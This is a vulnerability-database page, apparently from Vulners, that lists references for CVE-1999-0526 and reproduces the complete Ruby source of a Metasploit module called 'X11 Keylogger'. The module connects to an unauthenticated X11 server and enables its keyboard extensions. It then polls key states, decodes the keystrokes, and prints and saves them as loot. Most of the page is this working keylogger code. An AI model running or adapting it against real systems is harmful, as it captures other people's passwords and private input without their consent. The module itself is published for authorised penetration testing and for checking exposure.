| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-1999-0526 | 29 May 201815:50 | – | circl | |
| CVE-1999-0526 | 29 Sep 199904:00 | – | cve | |
| CVE-1999-0526 | 29 Sep 199904:00 | – | cvelist | |
| X11 No-Auth Scanner | 16 Nov 200803:03 | – | metasploit | |
| CVE-1999-0526 | 1 Jul 199704:00 | – | nvd | |
| X Server | 3 Nov 200500:00 | – | openvas | |
| Open X Server | 3 Nov 200500:00 | – | openvas | |
| Open X Server | 3 Nov 200500:00 | – | openvas | |
| X11 No-Auth Scanner | 1 Sep 202400:00 | – | packetstorm | |
| Metasploit Weekly Wrap-Up 12/06/2024 | 6 Dec 202420:29 | – | rapid7blog |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Exploit::Remote::Tcp
include Rex::Proto::X11
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::X11
def initialize(info = {})
super(
update_info(
info,
'Name' => 'X11 Keylogger',
'Description' => %q{
This module binds to an open X11 host to log keystrokes. This is a fairly
close copy of the old xspy c program which has been on Kali for a long time.
The module works by connecting to the X11 session, creating a background
window, binding a keyboard to it and creating a notification alert when a key
is pressed.
One of the major limitations of xspy, and thus this module, is that it polls
at a very fast rate, faster than a key being pressed is released (especially before
the repeat delay is hit). To combat printing multiple characters for a single key
press, repeat characters arent printed when typed in a very fast manor. This is also
an imperfect keylogger in that keystrokes arent stored and forwarded but status
displayed at poll time. Keys may be repeated or missing.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # MSF module, X11 libs
'nir tzachar' # original file? https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads
],
'References' => [
[ 'URL', 'https://www.kali.org/tools/xspy/'],
[ 'CVE', '1999-0526']
],
'DefaultOptions' => {
'RPORT' => 6000
},
'DisclosureDate' => '1997-07-01', # CVE date, but likely older
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [],
'AKA' => ['xspy'],
'RelatedModules' => [
'auxiliary/scanner/x11/open_x11',
]
}
)
)
register_options [
OptInt.new('LISTENER_TIMEOUT', [ true, 'The maximum number of seconds to keylog', 600 ]), # 10 minutes
OptInt.new('PRINTERVAL', [ true, 'The interval to print keylogs in seconds', 60 ]) # 1 minutes
]
end
def check
vprint_status('Establishing TCP Connection')
connect # tcp connection establish
vprint_status('Attempting X11 connection')
connection = x11_connect
if connection.nil?
return Exploit::CheckCode::Safe('No connection, or bad X11 response received')
end
if connection.header.success == 1
return Exploit::CheckCode::Appears('Successfully established X11 connection')
end
Exploit::CheckCode::Safe('X11 connection was not successful')
end
# This function takes map data and converts it to a hashtable so that
# we can translate from x11 key press data to the actual key on the
# keyboard which was pressed.
# https://stackoverflow.com/a/28258750 has a good description of keysyms vs keycodes
def build_sym_key_map(map_data)
keysym_index = 0
key_map = {}
(map_data.min_key_code..map_data.max_key_code).each do |key_code|
syms = map_data.key_map_array[keysym_index]
if syms.n_syms == 0
key_map[key_code] = nil
else
sym = map_data.key_map_array[keysym_index].key_sym_array[0]
begin
character = sym.chr
character = '[space]' if character == ' '
rescue RangeError
if X11KEYSYM_HASH.key? sym
character = X11KEYSYM_HASH[sym]
else
character = "Unknown key sym: #{sym}"
end
end
key_map[key_code] = character
# leaving in for debugging purposes
# puts "i: #{key_code}, keysym_str: #{character}, keysym: #{keysym_index}"
end
keysym_index += 1
end
key_map
end
# TBH still don't really understand exactly how this works, but it does.
def translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array)
# Iterate through each byte of keyboard state
bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index|
next if last_key_press_array[byte_index] == keyboard_state_byte
# Check each bit within the byte
8.times do |j|
next unless keyboard_state_byte & (1 << j) != 0
# Key at position (i*8 + j) is pressed
keycode = byte_index * 8 + j
keysym = key_map[keycode]
@keylogger_log += keysym
@keylogger_print_buffer += keysym
end
end
end
def run
query_extension_call_counter = 0
@keylogger_log = ''
@keylogger_print_buffer = ''
vprint_status('Establishing TCP Connection')
begin
connect # tcp connection establish
rescue Rex::ConnectionError
fail_with(Msf::Module::Failure::Unreachable, 'Connection failed')
end
vprint_status('[1/9] Establishing X11 connection')
connection = x11_connect
fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?
if connection.header.success == 1
x11_print_connection_info(connection, datastore['RHOST'], rport)
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
end
vprint_status('[2/9] Checking on BIG-REQUESTS extension')
big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
if big_requests_plugin.present == 1
print_good(" Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension BIG-REQUESTS is NOT present')
end
vprint_status('[3/9] Enabling BIG-REQUESTS')
toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
vprint_status('[4/9] Creating new graphical context')
gc_header = X11RequestHeader.new(opcode: 55)
gc_body = X11CreateGraphicalContextRequestBody.new(
cid: connection.body.resource_id_base,
drawable: connection.body.screen_root,
gc_value_mask_background: 1
)
gp_header = X11RequestHeader.new(opcode: 20)
gp_body = X11GetPropertyRequestBody.new(window: connection.body.screen_root)
sock.put(gc_header.to_binary_s +
gc_body.to_binary_s +
gp_header.to_binary_s +
gp_body.to_binary_s) # not sure why we also do a get property, but it emulates how the library works
# nothing valuable in the response, just make sure we read it in to
# confirm its expected data and not leave the response on the socket
x11_read_response(X11GetPropertyResponse)
vprint_status('[5/9] Checking on XKEYBOARD extension')
xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
if xkeyboard_plugin.present == 1
print_good(" Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension XKEYBOARD is NOT present')
end
vprint_status('[6/9] Enabling XKEYBOARD')
toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
vprint_status('[7/9] Requesting XKEYBOARD map')
sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
full_key_types: 1,
full_key_syms: 1,
full_modifier_map: 1).to_binary_s)
map_data = x11_read_response(X11GetMapResponse)
vprint_status('[8/9] Enabling notification on keyboard and map')
sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
affect_which_new_keyboard_notify: 1,
affect_new_keyboard_key_codes: 1,
affect_new_keyboard_device_id: 1).to_binary_s +
X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
affect_which_map_notify: 1,
affect_map_key_types: 1,
affect_map_key_syms: 1,
affect_map_modifier_map: 1,
map_key_types: 1,
map_key_syms: 1,
map_modifier_map: 1).to_binary_s) # not sure what this does, but emulates x11 c library
# this request doesn't receive any response data
vprint_status('[9/9] Creating local keyboard map')
key_map = build_sym_key_map(map_data)
last_key_press_array = Array.new(32, 0)
empty = Array.new(32, 0)
print_good('All setup, watching for keystrokes')
# loop mechanics stolen from exploit/multi/handler
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC)
print_timer = Process.clock_gettime(Process::CLOCK_MONOTONIC)
timeout = datastore['LISTENER_TIMEOUT'].to_i
printerval = datastore['PRINTERVAL'].to_i
begin
loop do
# sleep 1
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))
sock.put(X11QueryKeyMapRequest.new.to_binary_s)
query_key_map_response = x11_read_response(X11QueryKeyMapResponse)
bit_array_of_keystrokes = query_key_map_response.data
# we poll FAR quicker than a normal key press, so we need to filter repeats
unless bit_array_of_keystrokes == last_key_press_array # skip repeats
translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty
last_key_press_array = bit_array_of_keystrokes
end
next unless print_timer + printerval < Time.now.to_f
print_timer = Time.now.to_f
if @keylogger_print_buffer.empty?
print_bad('No X11 key presses observed')
next
end
print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
@keylogger_print_buffer = ''
end
rescue EOFError
print_error('Connection closed by remote host')
ensure
vprint_status('Closing X11 connection')
sock.put(Rex::Proto::X11::X11RequestHeader.new(opcode: 60).to_binary_s +
X11FreeGraphicalContextRequestBody.new(gc: connection.body.resource_id_base).to_binary_s +
Rex::Proto::X11::X11RequestHeader.new(opcode: 43).to_binary_s +
X11GetInputFocusRequestBody.new.to_binary_s)
disconnect
if @keylogger_print_buffer.empty?
print_bad('No X11 key presses observed')
else
print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
end
unless @keylogger_log == ''
loot_path = store_loot(
'x11.keylogger',
'text/plain',
datastore['rhost'],
@keylogger_log,
'xspy.txt',
'Keylogger content from X11'
)
print_good("Logged keys stored to: #{loot_path}")
end
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation